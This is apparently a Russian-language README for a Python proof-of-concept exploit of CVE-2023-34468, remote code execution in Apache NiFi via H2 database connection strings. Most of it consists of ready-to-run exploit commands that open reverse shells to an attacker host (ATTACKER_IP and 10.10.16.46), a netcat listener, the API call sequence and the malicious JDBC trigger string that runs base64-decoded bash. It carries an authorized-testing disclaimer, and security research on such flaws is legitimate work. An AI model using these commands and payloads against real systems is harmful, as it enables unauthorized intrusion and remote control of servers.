
CVE-2023-34468 - Apache NiFi H2 RCE PoC
Этот репозиторий предоставляет инструмент-эксплойт на Python для CVE-2023-34468 — критической уязвимости удаленного выполнения кода (CVSS 9.8) в Apache NiFi версий с 0.0.2 по 1.21.0. Он позволяет аутентифицированным пользователям выполнять произвольный код путем манипуляции строками подключения к базе данных H2 со встроенными триггерами.
⚠️ Предупреждение: Только для образовательных целей и авторизованного тестирования. Несанкционированный доступ к компьютерным системам является незаконным.
requestsnc -lnvp 5555)git clone https://github.com/Jeanpt/CVE-2023-34468.git
cd CVE-2023-34468
pip install -r requirements.txt
# Запустите ваш слушатель
nc -lnvp 5555
# Запустите эксплойт — аутентификация определяется автоматически, для открытых экземпляров флаги не нужны
python3 exploit.py \
-t http://nifi.target.com:8080 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
-u admin -p password123
python3 exploit.py \
-t https://nifi.target.com:8443 \
-c "bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1" \
-lh ATTACKER_IP \
-lp 5555 \
--token <your_bearer_token>
python3 exploit.py -t http://target:8080 -c "..." -lh ATTACKER_IP -lp 5555 --no-cleanup
python3 exploit.py --help
Проверка: Проверьте ваш слушатель на наличие соединения reverse shell. Выполните id, чтобы подтвердить выполнение кода.
/nifi-api/system-diagnostics/nifi-api/process-groups/root/controller-services/nifi-api/controller-services/{id}/run-status с состоянием ENABLED/nifi-api/processors/{id}/run-status с состоянием RUNNING — триггер H2 срабатывает при подключенииjdbc:h2:file:/tmp/{random_db}.db;TRACE_LEVEL_SYSTEM_OUT=0\;CREATE TRIGGER {random_name}
BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{bash,-i}')
$$--=x
Ключевые моменты:
\;BEFORE SELECT ON INFORMATION_SCHEMA.TABLES (автоматический запуск)# Запуск эксплойта напрямую
python3 exploit.py -t http://target:8080 -c "bash -i >& /dev/tcp/10.10.16.46/5555 0>&1" -lh 10.10.16.46 -lp 5555
python3 exploit.py -t http://target:8080 -c "touch /tmp/pwned" -lh 127.0.0.1 -lp 5555
Этот инструмент предоставлен только для целей исследования безопасности и авторизованного тестирования. Автор не несет ответственности за неправильное использование или ущерб, причиненный данным эксплойтом. Всегда тестируйте ответственно только в авторизованных средах.
Лицензия MIT — подробности в файле LICENSE
Создано для исследований в области безопасности и авторизованного тестирования на проникновение.
Topics: apache-nifi h2-database rce exploit cve-2023-34468 python security-research
| Команда | Описание |
|---|
-t, --target | URL целевого экземпляра NiFi (обязательно) |
-c, --command | Команда для выполнения (обязательно) |
-lh, --lhost | Хост слушателя для обратного вызова (обязательно) |
-lp, --lport | Порт слушателя для обратного вызова (обязательно) |
-u, --username | Имя пользователя NiFi (для аутентифицированных экземпляров) |
-p, --password | Пароль NiFi (для аутентифицированных экземпляров) |
--token | Bearer token (для аутентифицированных экземпляров) |
--no-cleanup | Пропустить очистку после эксплуатации |
--delay | Секунд ожидания перед очисткой (по умолчанию: 10) |
--driver-path | Переопределить путь к jar-файлу драйвера H2 (по умолчанию опущен) |